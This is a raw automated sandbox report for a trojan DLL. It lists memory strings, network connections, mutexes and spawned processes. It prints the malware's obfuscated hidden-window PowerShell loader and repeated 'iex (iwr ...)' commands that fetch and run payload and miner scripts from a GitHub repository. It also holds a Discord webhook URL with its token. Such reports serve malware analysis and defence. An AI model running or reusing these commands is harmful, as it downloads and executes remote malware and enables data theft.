Source: powershell.exe, 00000006.00000002.2316667668.0000021F3CC33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3B50A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD745B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8BA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C5B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AEE2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3EA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D27D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3CD60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8CAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C6DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3FCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3CC33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8BA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C5B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3EA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/128528293923992
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8758000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C189000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D3A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C233000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7F38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2B968000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D31D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.3044497517.0000025C42CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: powershell.exe, 00000007.00000002.2863957456.0000029DE7082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2863957456.0000029DE71C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E23A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D393F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3B458000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3C6D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD73A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD861D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C054000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2ADD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D26C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D393F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D2A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E08C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3B48D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD73DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AE0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D26FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D2A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.000002026761F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C74F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D983000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E08C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B31AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E381C22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D393F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
Source: powershell.exe, 00000015.00000002.3162111085.000001E381C22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt
Source: powershell.exe, 0000000F.00000002.2368883289.0000020267D2A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.000002026761F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C74F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D983000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E08C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B31AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.comx
Source: powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontx

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51648
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51649
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 51648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 51655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51651
Source: unknown	Network traffic detected: HTTP traffic on port 51651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 51649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51650 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51651 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51655 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51653 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51654 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E896A2	6_2_00007FF848E896A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E888F6	6_2_00007FF848E888F6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E951FA	6_2_00007FF848E951FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E883F9	6_2_00007FF848E883F9

Source: classification engine

Classification label: mal96.troj.evad.winDLL@45/26@4/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4288:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xgru0g4.lv3.ps1

Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
